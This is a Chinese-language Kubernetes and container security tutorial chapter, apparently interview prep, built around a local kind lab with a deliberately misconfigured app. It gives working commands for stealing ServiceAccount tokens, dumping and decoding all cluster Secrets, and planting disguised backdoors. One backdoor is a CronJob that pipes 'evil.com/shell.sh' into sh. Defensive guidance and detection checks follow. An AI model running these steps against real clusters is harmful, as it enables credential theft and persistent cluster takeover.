docker-compose.yml,能看到大量这样的配置:volumes: - /var/run/docker.sock:/var/run/docker.sock # ❌ 非常常见!常见于:Portainer、Watchtower、Traefik、各种 CI runner、监控 agent。
面试金句: “挂载 docker.sock 等价于把宿主机的 root 交出去。 因为 Docker daemon 本身是 root 运行的,你通过 socket 下命令, 它能让你启动一个挂载宿主机根目录的特权容器。 正确做法有三种:用 rootless Docker、用 Docker Socket Proxy 限制可调用的 API、 或者干脆用 Kaniko / Buildah 这类不需要 daemon 的构建工具(我们在 CI 里用的就是 Kaniko)。”
防御:
# ❌ 绝对不要
volumes:
- name: dockersock
hostPath:
path: /var/run/docker.sock
# ✅ 替代方案 1:Docker Socket Proxy(只暴露只读 API)
# Tecnativa/docker-socket-proxy,配置只允许 CONTAINERS=1(只读查看)
# ✅ 替代方案 2:用 Kaniko / img / Buildah 构建镜像(不需要 docker daemon)
# Kaniko 直接在用户空间构建,不需要 privileged,也不需要挂载 socket
# ✅ 替代方案 3:rootless Docker / Podman
# podman run --userns=keep-id ... (容器内 root 映射到宿主机普通用户)
8.1.3 手法三:内核漏洞逃逸(如 Dirty Pipe / Dirty COW)
原理:容器和宿主机共享同一个内核。 如果内核有漏洞(比如能提权的漏洞),容器里的攻击者就能利用它直接提权到宿主机 root。
著名的内核漏洞:
| CVE | 名称 | 影响内核 | 说明 |
|---|---|---|---|
| CVE-2016-5195 | Dirty COW | 2.6.22 ~ 4.8.3 | 竞态条件写只读内存映射 |
| CVE-2021-4034 | PwnKit | polkit(几乎所有 Linux) | pkexec 的本地提权 |
| CVE-2022-0847 | Dirty Pipe | 5.8 ~ 5.16.11 | ★ 能覆写任意只读文件,包括 /etc/passwd |
| CVE-2022-2588 | — | nftables | 本地提权 |
| CVE-2023-0386 | — | OverlayFS | 挂载时的权限检查绕过 |
Dirty Pipe 的威力(为什么它特别适合容器逃逸):
它能覆写任意只读文件,而且不需要任何特殊的 capabilities。 于是攻击者可以: ① 覆写
/etc/passwd,把root:x:0:0改成root::0:0(去掉密码)→ 直接su root② 或者覆写宿主机上某个 SUID 程序的代码 → 执行时提权
动手(在容器里验证内核版本是否受影响):
# ① 看内核版本
uname -r
# 如果输出类似 5.10.0 / 5.15.0,需要查是否在受影响范围
# Dirty Pipe 影响 5.8 ~ 5.16.11
# ② 检查是否打了补丁
# Dirty Pipe 的补丁在 5.16.11 / 5.15.25 / 5.10.102
# ③ 用一个简易的 PoC 验证(★ 仅供自己靶场学习)
# 注意:真跑 PoC 有风险,建议在一次性容器里做
docker run --rm -it --kernel-memory=1g ubuntu:22.04 bash -c "
uname -a
# 检查 /etc/passwd 是否可写(Dirty Pipe 能绕过只读)
"
⚠️ 我这里不提供完整的 Dirty Pipe 利用代码,原因有两个: ① 这类 0day/1day 的完整利用代码有明显滥用风险; ② 对防御方来说,理解“共享内核 → 内核漏洞 = 全军覆没”这个原理就够了, 具体的 PoC 代码你搜 CVE 编号就能找到,面试也不需要你会写 exploit。
面试该说的是防御方案,那才是你的价值。
防御(★ 这才是重点):
| 方案 | 说明 | 强度 |
|---|---|---|
| ① 及时打内核补丁 | 最根本。用 uname -r 检查,订阅发行版的安全公告 |
★★★★★ |
| ② 用 gVisor / Kata Containers | ★ 给容器一个独立的内核沙箱,内核漏洞打不到宿主机 | ★★★★★ |
| ③ seccomp 默认策略 | 过滤掉危险系统调用(很多逃逸手法依赖特定 syscall) | ★★★★ |
| ④ 禁用不必要的 capabilities | drop: [ALL] |
★★★★ |
| ⑤ AppArmor / SELinux | 强制访问控制,限制进程能访问的文件 | ★★★★ |
| ⑥ 用最小化基础镜像 | distroless / alpine,减少可用的工具和攻击面 | ★★★ |
| ⑦ 定期漏洞扫描 | trivy 扫镜像 + 扫宿主机 | ★★★ |
gVisor / Kata Containers 是什么(面试加分):
传统容器(runc):
容器 A ─┐
容器 B ─┼── 共享宿主机内核 ─── 宿主机
容器 C ─┘
★ 内核有漏洞 → 所有容器都能逃逸
gVisor(Google 开源):
容器 A ── gVisor 沙箱内核 ─┐
容器 B ── gVisor 沙箱内核 ─┼── 宿主机内核 ─── 宿主机
容器 C ── gVisor 沙箱内核 ─┘
★ gVisor 是【用 Go 写的用户态内核】,容器里的系统调用先经过它,
它只把"安全的"调用转发给真正的内核。攻击面大幅缩小。
Kata Containers:
容器 A ── 独立轻量 VM(独立内核)─┐
容器 B ── 独立轻量 VM(独立内核)─┼── 宿主机
★ 每个 Pod 跑在自己的轻量虚拟机里,有【真正独立的内核】。
安全性 ≈ 虚拟机,性能接近容器。
8.1.4 容器逃逸复测脚本
cat > /tmp/verify_container_escape.sh <<'SCRIPT'
#!/bin/bash
# 容器逃逸风险自检(在容器里跑)
pass=0; fail=0
ok() { echo " ✅ $1"; pass=$((pass+1)); }
bad() { echo " ❌ $1 —— $2"; fail=$((fail+1)); }
warn(){ echo " ⚠️ $1"; }
echo "=== 容器逃逸风险自检 ==="
echo "当前容器:$(hostname)"
echo ""
# 1. 是否特权容器
EFF=$(grep CapEff /proc/self/status | awk '{print $2}')
if [ "$EFF" = "000001ffffffffff" ] || [ "$EFF" = "0000003fffffffff" ]; then
bad "1. ★ 特权容器(CapEff=$EFF)" "拥有全部 capabilities,可直接 mount 宿主机磁盘逃逸"
else
ok "1. 非特权容器(CapEff=$EFF)"
fi
# 2. docker.sock 是否被挂载
if [ -S /var/run/docker.sock ]; then
bad "2. ★ docker.sock 已挂载" "等价于宿主机 root 权限,立即移除"
else
ok "2. 未挂载 docker.sock"
fi
# 3. 宿主机根目录是否被挂载
for m in /host /mnt/host /rootfs; do
[ -d "$m" ] && bad "3. ★ 发现疑似宿主机挂载点:$m" "" && break
done
[ ! -d /host ] && [ ! -d /mnt/host ] && [ ! -d /rootfs ] && ok "3. 未挂载宿主机根目录"
# 4. 是否 hostPID / hostNetwork
if [ -d /proc/1/root ] && ls /proc/1/root/ >/dev/null 2>&1; then
N=$(ls /proc/1/root/ 2>/dev/null | wc -l)
if [ "$N" -gt 15 ]; then
warn "4. 可能开启了 hostPID(能看到宿主机所有进程)"
ls /proc/1/root/ 2>/dev/null | head -5 | sed 's/^/ /'
fi
fi
grep -q "devices:/" /proc/self/cgroup 2>/dev/null || true
# 5. 是否 root 运行
U=$(id -u)
[ "$U" = "0" ] && warn "5. 以 root 运行(uid=0),建议 runAsNonRoot" || ok "5. 非 root 运行(uid=$U)"
# 6. 根文件系统是否只读
if touch /__write_test 2>/dev/null; then
rm -f /__write_test
warn "6. 根文件系统可写,建议 readOnlyRootFilesystem: true"
else
ok "6. 根文件系统只读"
fi
# 7. 内核版本(检查已知逃逸漏洞)
K=$(uname -r)
echo " [7] 内核版本:$K"
echo " 请检查是否在以下漏洞范围:"
echo " Dirty Pipe CVE-2022-0847 5.8 ~ 5.16.11"
echo " Dirty COW CVE-2016-5195 2.6.22 ~ 4.8.3"
# 8. 敏感目录可访问性
echo " [8] 敏感路径检查:"
for p in /var/run/secrets/kubernetes.io/serviceaccount/token /root/.ssh /etc/shadow; do
[ -e "$p" ] && echo " ⚠️ 可访问:$p"
done
# 9. capabilities 详情
echo " [9] 当前 capabilities:"
command -v capsh >/dev/null 2>&1 \
&& capsh --print 2>/dev/null | grep "Current:" | sed 's/^/ /' \
|| echo " (capsh 未安装,看 CapEff: $EFF)"
echo ""
echo "结果:通过/正常 $pass,风险项 $fail"
[ $fail -eq 0 ] && echo "🎉 未发现高危逃逸风险" || echo "⚠️ 发现 $fail 项逃逸风险,需要处理"
SCRIPT
chmod +x /tmp/verify_container_escape.sh
# 用法:docker cp /tmp/verify_container_escape.sh 容器名:/tmp/ && docker exec 容器名 bash /tmp/verify_container_escape.sh
8.2 用 kind 搭一个本地 K8s 集群
为什么用 kind:
- minikube 需要虚拟机,吃资源
- kind(Kubernetes IN Docker)把 K8s 的每个节点都跑在一个 Docker 容器里——启动快、省资源、删掉就干净
- 对我们做安全实验来说,kind 还特别方便:可以直接 docker exec 进“节点”,模拟“我已经拿到了容器 shell”
8.2.1 安装与启动
# 安装 kind(Linux / macOS)
curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.23.0/kind-linux-amd64
chmod +x ./kind && sudo mv ./kind /usr/local/bin/kind
# macOS
# brew install kind
# Windows(用 Chocolatey 或直接下载 exe)
# choco install kind
# 确认
kind version
# 预期:kind v0.23.0 go1.21.7 linux/amd64
# 安装 kubectl(如果没有)
curl -LO "https://dl.k8s.io/release/v1.30.0/bin/linux/amd64/kubectl"
chmod +x kubectl && sudo mv kubectl /usr/local/bin/
kubectl version --client
启动集群:
# 最简方式(单节点)
kind create cluster --name seclab
# 预期输出:
# Creating cluster "seclab" ...
# ✓ Ensuring node image (kindest/node:v1.30.0) 🖼
# ✓ Preparing nodes 📦
# ✓ Writing configuration 📜
# ✓ Starting control-plane 🕹️
# ✓ Installing CNI 🔌
# ✓ Installing StorageClass 💾
# Set kubectl context to "kind-seclab"
# You can now use your cluster with:
# kubectl cluster-info --context kind-seclab
# 确认
kubectl cluster-info
kubectl get nodes
# 预期:
# NAME STATUS ROLES AGE VERSION
# seclab-control-plane Ready control-plane 1m v1.30.0
★ 重要的安全提醒: kind 集群的 API Server 默认绑定在
127.0.0.1(或 Docker 网桥 IP)上, 但它的 kubeconfig 默认允许 admin 访问。 实验结束后一定要kind delete cluster --name seclab, 尤其是不要把这个集群的端口暴露出去。
8.2.2 部署一个“故意有漏洞”的应用
我们部署一个应用,它有三个问题(真实场景里极常见): ① SA Token 权限过大(绑定了 cluster-admin) ② 挂载了 docker.sock(模拟 CI 工具) ③ Secret 里有云厂商 AK/SK
# vulnerable-app.yaml
apiVersion: v1
kind: Namespace
metadata:
name: vuln
---
# ① ★ 危险:ServiceAccount 绑定了 cluster-admin(集群最高权限)
apiVersion: v1
kind: ServiceAccount
metadata:
name: vuln-sa
namespace: vuln
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: vuln-admin-binding
subjects:
- kind: ServiceAccount
name: vuln-sa
namespace: vuln
roleRef:
kind: ClusterRole
name: cluster-admin # ★★ 集群管理员!能做任何事
apiGroup: rbac.authorization.k8s.io
---
# ② Secret 里放云厂商密钥(真实场景极常见)
apiVersion: v1
kind: Secret
metadata:
name: cloud-credentials
namespace: vuln
type: Opaque
stringData:
AWS_ACCESS_KEY_ID: "LTAI5tXXXXXXXXXXXX"
AWS_SECRET_ACCESS_KEY: "Xk9mP2vQ7nR4XXXXXXXXXXXX"
DB_PASSWORD: "Prod@Db#2026!Secure"
---
# ③ 应用 Pod(有漏洞版本)
apiVersion: v1
kind: Pod
metadata:
name: vuln-app
namespace: vuln
labels:
app: vuln-app
spec:
serviceAccountName: vuln-sa # ★ 用那个高权限 SA
containers:
- name: app
image: nginx:1.25-alpine
ports:
- containerPort: 80
env:
- name: AWS_ACCESS_KEY_ID
valueFrom:
secretKeyRef:
name: cloud-credentials
key: AWS_ACCESS_KEY_ID
- name: DB_PASSWORD
valueFrom:
secretKeyRef:
name: cloud-credentials
key: DB_PASSWORD
volumeMounts:
- name: dockersock
mountPath: /var/run/docker.sock # ★ 危险:挂载 docker.sock
volumes:
- name: dockersock
hostPath:
path: /var/run/docker.sock
type: Socket
# 部署
kubectl apply -f vulnerable-app.yaml
# 预期:
# namespace/vuln created
# serviceaccount/vuln-sa created
# clusterrolebinding.rbac.authorization.k8s.io/vuln-admin-binding created
# secret/cloud-credentials created
# pod/vuln-app created
# 确认
kubectl get pods -n vuln
# 预期:
# NAME READY STATUS RESTARTS AGE
# vuln-app 1/1 Running 0 20s
8.3 从 SA Token 到接管整个集群(★ 本章核心实验)
场景设定:攻击者通过 vuln-app 的某个漏洞(比如 Log4Shell)拿到了容器里的 Shell。 现在看他能做什么。
8.3.1 第一步:在容器里发现自己是“在 K8s 里”
# 进入容器(模拟攻击者已经拿到 Shell)
kubectl exec -it -n vuln vuln-app -- /bin/sh
# ① 看看环境变量(K8s 会自动注入服务发现相关的环境变量)
env | grep -i kubernetes
# 预期:
# KUBERNETES_SERVICE_HOST=10.96.0.1
# KUBERNETES_SERVICE_PORT=443
# KUBERNETES_PORT=tcp://10.96.0.1:443
# KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
# ...
# ★ 看到这些就说明:我在 K8s 集群里!
# ② ★★ 找 SA Token(这是关键)
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
# 预期:
# lrwxrwxrwx 1 root root 13 ... ca.crt -> ..data/ca.crt
# lrwxrwxrwx 1 root root 16 ... namespace -> ..data/namespace
# lrwxrwxrwx 1 root root 12 ... token -> ..data/token
# ③ 读取 Token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $TOKEN
# 预期:
# eyJhbGciOiJSUzI1NiIsImtpZCI6Ik...(很长的 JWT)
# ↑ 注意:jwt.io 解出来能看到 sub 字段是
# "system:serviceaccount:vuln:vuln-sa"
# ④ 看看 namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# 预期:vuln
名词:为什么每个 Pod 都有这个 Token?
K8s 的设计里,Pod 里的应用经常需要访问 K8s API (比如一个 Operator 要监听 Pod 变化,或者一个服务要做服务发现)。 所以 K8s 默认给每个 Pod 挂一个 ServiceAccount Token。
问题就在于“默认”——大部分应用根本不需要访问 K8s API, 但 Token 还是被挂载了。这就给了攻击者可乘之机。
K8s 1.24 之后的变化(面试加分点): 1.24 之前,Token 是永久有效的 Secret; 1.24 之后,Token 改成了 Projected Volume,默认 1 小时过期, 而且 不再自动创建对应的 Secret 对象。 但——默认还是会自动挂载,所以风险依然存在。
8.3.2 第二步:检查这个 Token 有多大权限
# 在容器里执行
# 准备好 Token 和 API 地址
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# ① 测试能不能访问 API(列出所有 namespace)
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/namespaces" | head -c 500
# 预期(如果是高权限):
# {"kind":"NamespaceList","apiVersion":"v1","metadata":{...},"items":[
# {"metadata":{"name":"default",...}},
# {"metadata":{"name":"kube-system",...}},
# {"metadata":{"name":"vuln",...}}
# ]}
# ★ 能列出来 = Token 有效且有权限
# ② ★★ 权限自测:我能不能列出所有 Secret?(这是最想要的)
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/secrets?limit=500" | python3 -m json.tool 2>/dev/null | head -40
# ③ 用 kubectl 的 auth can-i 更直观(如果容器里有 kubectl)
# 或者用 SelfSubjectRulesReview API 列出所有权限
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-X POST "$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"vuln"}}' \
| python3 -m json.tool | head -60
预期输出(如果绑定了 cluster-admin):
{
"status": {
"resourceRules": [{
"verbs": ["*"],
"apiGroups": ["*"],
"resources": ["*"],
"namespaces": ["*"]
}],
"complete": true
}
}
看到
"verbs": ["*"]和"resources": ["*"]意味着什么? 这个 Token 能对集群里的任何资源做任何操作。 换句话说——集群已经是你的了。
权限枚举清单(攻击者会挨个试):
# 一个一个测,看能干什么
for act in "get pods" "list secrets" "create pods" "delete pods" \
"get secrets" "create pods/exec" "escalate clusterroles"; do
verb=$(echo $act | awk '{print $1}')
res=$(echo $act | awk '{print $2}')
echo -n " $act → "
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" -X POST \
"$APISERVER/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" \
-d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectAccessReview\",\"spec\":{\"resourceAttributes\":{\"namespace\":\"vuln\",\"verb\":\"$verb\",\"resource\":\"$res\"}}}" \
| python3 -c "import sys,json; print('✅ 允许' if json.load(sys.stdin)['status']['allowed'] else '❌ 拒绝')"
done
8.3.3 第三步:偷走所有 Secret(★ 拿到云厂商密钥)
# ① 列出所有 namespace 的所有 Secret
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/secrets?limit=1000" > /tmp/all_secrets.json
# ② 解码(K8s 的 Secret 是 base64 存的,不是加密!)
python3 - <<'PY'
import json, base64
data = json.load(open('/tmp/all_secrets.json'))
print(f"共 {len(data.get('items', []))} 个 Secret\n")
for item in data.get('items', []):
ns = item['metadata']['namespace']
name = item['metadata']['name']
d = item.get('data', {})
if not d:
continue
print(f"=== {ns}/{name} ===")
for k, v in d.items():
try:
plain = base64.b64decode(v).decode('utf-8')
except Exception:
plain = v[:50] + '...(二进制)'
print(f" {k} = {plain}")
print()
PY
预期输出(★ 这就是“接管集群”的终极目标):
共 15 个 Secret
=== vuln/cloud-credentials ===
AWS_ACCESS_KEY_ID = LTAI5tXXXXXXXXXXXX
AWS_SECRET_ACCESS_KEY = Xk9mP2vQ7nR4XXXXXXXXXXXX
DB_PASSWORD = Prod@Db#2026!Secure
=== kube-system/coredns-token-xxxxx ===
token = eyJhbGciOiJSUzI1NiIs...(另一个 SA 的 Token,权限可能更大)
=== default/default-token-xxxxx ===
token = eyJhbGciOiJSUzI1NiIs...
=== ingress-nginx/tls-cert ===
tls.crt = -----BEGIN CERTIFICATE-----...(HTTPS 私钥!)
tls.key = -----BEGIN RSA PRIVATE KEY-----...
★ 注意最后一条:
ingress-nginx/tls-cert里存的是网站的 HTTPS 证书私钥。 拿到它,攻击者就能解密 HTTPS 流量(如果有历史流量捕获)或者冒充你的网站(中间人攻击)。★ 另一个关键点:Secret 里的 SA Token(如
coredns-token)是永久有效的(1.24 之前创建的), 攻击者把这些 Token 偷走后,即使原来的 Pod 被删了,Token 依然有效—— 这就是“持久化后门“。
8.3.4 第四步:持久化后门(即使被删也能回来)
攻击者偷完 Token 不会停,会留后门:
后门方式 1:创建后门 ServiceAccount(最简单)
# 创建一个永久的后门账号,绑定 cluster-admin
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" -X POST \
"$APISERVER/api/v1/namespaces/vuln/serviceaccounts" \
-d '{"apiVersion":"v1","kind":"ServiceAccount","metadata":{"name":"kube-sys-monitor","namespace":"vuln"}}'
# 名字起得像系统组件,不容易被发现
# 绑定 cluster-admin
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" -X POST \
"$APISERVER/apis/rbac.authorization.k8s.io/v1/clusterrolebindings" \
-d '{
"apiVersion":"rbac.authorization.k8s.io/v1",
"kind":"ClusterRoleBinding",
"metadata":{"name":"kube-sys-monitor-binding"},
"subjects":[{"kind":"ServiceAccount","name":"kube-sys-monitor","namespace":"vuln"}],
"roleRef":{"kind":"ClusterRole","name":"cluster-admin","apiGroup":"rbac.authorization.k8s.io"}
}'
# 为它创建一个永久 Token(K8s 1.24 之前有效)
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" -X POST \
"$APISERVER/api/v1/namespaces/vuln/secrets" \
-d '{
"apiVersion":"v1",
"kind":"Secret",
"metadata":{"name":"kube-sys-monitor-token","namespace":"vuln",
"annotations":{"kubernetes.io/service-account.name":"kube-sys-monitor"}},
"type":"kubernetes.io/service-account-token"
}'
后门方式 2:创建特权 Pod(反向 Shell)
# 创建一个挂载宿主机根目录的后门 Pod
cat > /tmp/backdoor.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
name: kube-sys-metrics # ★ 名字伪装成系统组件
namespace: kube-system # ★ 藏在系统命名空间里
spec:
hostNetwork: true # ★ 用宿主机网络
hostPID: true # ★ 能看到所有进程
containers:
- name: collector
image: alpine
command: ["/bin/sh"]
args: ["-c", "while true; do sleep 30; done"]
securityContext:
privileged: true # ★ 特权容器
volumeMounts:
- name: host-root
mountPath: /host # ★ 挂载宿主机根目录
volumes:
- name: host-root
hostPath:
path: /
EOF
# 通过 API 创建
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/yaml" -X POST \
"$APISERVER/api/v1/namespaces/kube-system/pods" \
--data-binary @/tmp/backdoor.yaml
后门方式 3:恶意 Admission Webhook / CronJob
# 创建一个 CronJob,每分钟执行(存活时间更长)
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" -X POST \
"$APISERVER/apis/batch/v1/namespaces/kube-system/cronjobs" \
-d '{
"apiVersion":"batch/v1",
"kind":"CronJob",
"metadata":{"name":"kube-log-cleaner","namespace":"kube-system"},
"spec":{
"schedule":"*/1 * * * *",
"jobTemplate":{"spec":{"template":{"spec":{
"containers":[{
"name":"cleaner",
"image":"alpine",
"command":["/bin/sh","-c","curl http://evil.com/shell.sh | sh"],
"securityContext":{"privileged":true}
}],
"restartPolicy":"OnFailure",
"hostNetwork":true
}}}}
}
}'
防御方怎么发现这些后门?(这是你的价值所在)
# ① 审计所有 ClusterRoleBinding,找可疑的 kubectl get clusterrolebindings -o json | jq -r ' .items[] | select(.roleRef.name=="cluster-admin") | "\(.metadata.name) → \(.subjects[]?.name)"' # ★ 正常应该只有 cluster-admin 这一个,多出来的都要查 # ② 定期对比 kube-system 命名空间的资源清单(后门最爱藏这儿) kubectl get all -n kube-system > /tmp/baseline.txt # 每周对比一次 # ③ ★ 开启 K8s 审计日志(Audit Log),记录所有 API 调用 # 重点告警: # - 创建 ClusterRoleBinding # - 读取 secrets(尤其是批量的) # - 在 kube-system 创建 Pod # - pods/exec 和 pods/attach 操作 # ④ 用 Falco 做运行时检测(能发现容器里的异常行为) # ⑤ 定期轮换所有 Secret(让偷走的 Token 失效) kubectl delete pod -n vuln --all # 重启 Pod 会让旧的 Projected Token 失效
8.3.5 第五步:从 Pod 执行到拿下 Node(真正逃逸出容器)
# 如果 SA 有 pods/exec 权限,就能在【任意 Pod】里执行命令
# ★ 挑一个 kube-system 里、跑在目标 Node 上的 Pod
# ① 找到目标 Pod
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/namespaces/kube-system/pods" \
| python3 -c "
import sys, json
d = json.load(sys.stdin)
for p in d['items']:
print(f\"{p['metadata']['name']}\t{p['spec'].get('nodeName')}\")
"
# ② 在它里面执行命令(★ 这就是"横向移动到其他 Node")
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
-H "X-Stream-Protocol-Version: v4.channel.k8s.io" \
-H "X-Stream-Protocol-Version: channel.k8s.io" \
-H "Upgrade: websocket" -H "Connection: Upgrade" \
-H "Sec-Websocket-Protocol: v4.channel.k8s.io" \
-H "Sec-Websocket-Version: 13" \
-X POST \
"$APISERVER/api/v1/namespaces/kube-system/pods/coredns-xxx/exec?command=id&command=cat&command=/etc/shadow&container=coredns&stdin=false&stdout=true&stderr=true&tty=false"
# 上面的裸 curl 比较麻烦,实战用 kubectl:
kubectl exec -it -n kube-system coredns-xxx -- id
# 预期:
# uid=0(root) gid=0(root) groups=0(root)
这一刻的意义: 攻击者从一个“应用层漏洞”(比如 Log4Shell)出发, 现在能在集群里任何一个 Pod 里执行任意命令, 包括那些挂载了宿主机根目录、跑在 Master 节点上的 Pod。 整个集群已经沦陷。
8.3.6 完整攻击链总结图
① 应用漏洞(Log4Shell / Shiro / 上传 webshell)
│
▼
② 在容器里拿到 Shell
│
▼
③ 发现 /var/run/secrets/.../token(★ 默认挂载,很多人不知道)
│
▼
④ 用 Token 调 K8s API,检查权限(SelfSubjectRulesReview)
│
├─────────────────────────────────────────┐
▼ ▼
⑤ 权限大(cluster-admin) ⑤' 权限小(只能 get pods)
│ │
▼ ▼
⑥ 偷所有 Secret ⑥' 找有问题的 Pod:
- 云厂商 AK/SK - 挂载了 docker.sock
- 数据库密码 - 挂载了宿主机 / 目录
- HTTPS 私钥 - SA 权限更大的
- 其他 SA Token │
│ ▼
▼ ⑦' 进入那个 Pod(pods/exec)
⑦ 创建后门(SA / 特权 Pod / CronJob) │
│ ▼
▼ ⑧' 重复 ③~⑥
⑧ 在任意 Pod 执行 → 拿到 Node → 逃逸到宿主机
│
▼
⑨ 用 AK/SK 接管云账号 → 开矿机 / 勒索
8.3.7 修复:七道防线
【防线 1】不给 Pod 挂载 Token(★ 最简单有效)
apiVersion: v1
kind: Pod
spec:
serviceAccountName: vuln-sa
automountServiceAccountToken: false # ★ 一行搞定!
# 或者在 ServiceAccount 层面统一关
apiVersion: v1
kind: ServiceAccount
metadata:
name: vuln-sa
namespace: vuln
automountServiceAccountToken: false # ★ 所有用这个 SA 的 Pod 都不挂 Token
这条能防住 90% 的 SA Token 利用—— 因为绝大多数应用根本不需要访问 K8s API。 需要用的时候再单独开。
【防线 2】RBAC 最小权限
# ❌ 错误:直接给 cluster-admin
roleRef:
kind: ClusterRole
name: cluster-admin
# ✅ 正确:按需定义 Role,只给必要权限
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: vuln-app-role
namespace: vuln
rules:
# ★ 明确列出:能对【哪些资源】做【哪些操作】
- apiGroups: [""]
resources: ["configmaps"] # 只读 ConfigMap
verbs: ["get", "list", "watch"]
- apiGroups: [""]
resources: ["secrets"]
resourceNames: ["cloud-credentials"] # ★ 甚至限定到具体的 Secret 名字
verbs: ["get"]
# ★ 绝不给:*、secrets(全部)、cluster-admin、escalate、bind
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: vuln-app-binding
namespace: vuln
subjects:
- kind: ServiceAccount
name: vuln-sa
namespace: vuln
roleRef:
kind: Role # ★ 用 Role(命名空间内)而不是 ClusterRole(全集群)
name: vuln-app-role
apiGroup: rbac.authorization.k8s.io
危险权限黑名单(★ 这些权限能直接导致集群沦陷):
| 权限 | 为什么危险 |
|---|---|
* / cluster-admin |
不用解释 |
escalate on roles/clusterroles |
★ 能给自己提权到 cluster-admin |
bind on roles/clusterroles |
★ 能把高权限角色绑给自己 |
create pods |
能创建特权 Pod → 逃逸到 Node |
get/create pods/exec |
能在任意 Pod 执行命令 |
list/get secrets(全集群) |
能偷所有密钥 |
impersonate on users/groups |
★ 能冒充其他用户(包括 system:masters) |
create certificatesigningrequests |
能给自己签发证书 |
【防线 3】Secret 加密存储(etcd 静态加密)
# /etc/kubernetes/pki/encryption-config.yaml
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
providers:
- aescbc: # ★ 用 AES-CBC 加密
keys:
- name: key1
secret: <base64 编码的 32 字节随机密钥>
- identity: {} # 兜底(不加密),放最后
# 生成密钥
head -c 32 /dev/urandom | base64
# kube-apiserver 启动参数加上:
# --encryption-provider-config=/etc/kubernetes/pki/encryption-config.yaml
# 验证是否生效
kubectl create secret test-secret -n default --from-literal=key=value
ETCDCTL_API=3 etcdctl \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get /registry/secrets/default/test-secret | hexdump -C | head
# ★ 如果看到 k8s:enc:aescbc:v1:key1 开头 = 加密生效
# 如果直接看到明文 value = 没加密
注意:etcd 静态加密只能防止“直接读 etcd 文件”。 有 RBAC 权限的人通过 API 读 Secret,拿到的依然是解密后的明文。 所以它防的是“备份泄露 / 硬盘被偷“这类场景,不是万能的。
【防线 4】用外部密钥管理(治本)
# 用 Vault / 云厂商 KMS 存真正的密钥,K8s 里只存"引用"
apiVersion: external-secrets.io/v1beta1
kind: ExternalSecret
metadata:
name: cloud-credentials
namespace: vuln
spec:
refreshInterval: 1h # ★ 1 小时刷新(密钥轮换自动化)
secretStoreRef:
name: vault-backend
kind: SecretStore
target:
name: cloud-credentials
data:
- secretKey: DB_PASSWORD
remoteRef:
key: secret/data/prod/db
property: password
External Secrets Operator 会从 Vault/AWS Secrets Manager 拉取密钥, 定时刷新,而且真正的密钥不经过 Git(解决了 GitOps 里密钥怎么存的难题)。
【防线 5】Pod Security Admission(阻止特权 Pod)
apiVersion: v1
kind: Namespace
metadata:
name: vuln
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/enforce-version: latest
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/warn: restricted
# 验证:尝试创建特权 Pod 应该被拒绝
kubectl apply -f /tmp/backdoor.yaml
# 预期:
# Error from server (Forbidden): error when creating "/tmp/backdoor.yaml":
# pods "kube-sys-metrics" is forbidden: violates PodSecurity "restricted:latest":
# privileged (container "collector" must not set securityContext.privileged=true),
# host namespaces (hostNetwork=true, hostPID=true), ...
# ★ 被挡住了!
【防线 6】NetworkPolicy(限制横向移动)
# 默认拒绝所有流量,再按需放行
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-all
namespace: vuln
spec:
podSelector: {} # 匹配所有 Pod
policyTypes:
- Ingress
- Egress
---
# 只允许 vuln-app 访问自己的数据库
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-app-to-db
namespace: vuln
spec:
podSelector:
matchLabels:
app: vuln-app
policyTypes:
- Egress
egress:
- to:
- podSelector:
matchLabels:
app: mysql
ports:
- protocol: TCP
port: 3306
# ★ 注意:没有放行访问 K8s API(10.96.0.1:443),
# 所以即使有 Token 也连不上!这是非常有效的纵深防御
★ NetworkPolicy 是防 SA Token 利用的“最后一道物理屏障”: 即使攻击者拿到了 Token 和权限, 如果网络不通,他也没法调用 K8s API。
这就是为什么我说“内网全互通是最大的安全隐患“。
【防线 7】审计与运行时检测
# K8s 审计策略(重点记录敏感操作)
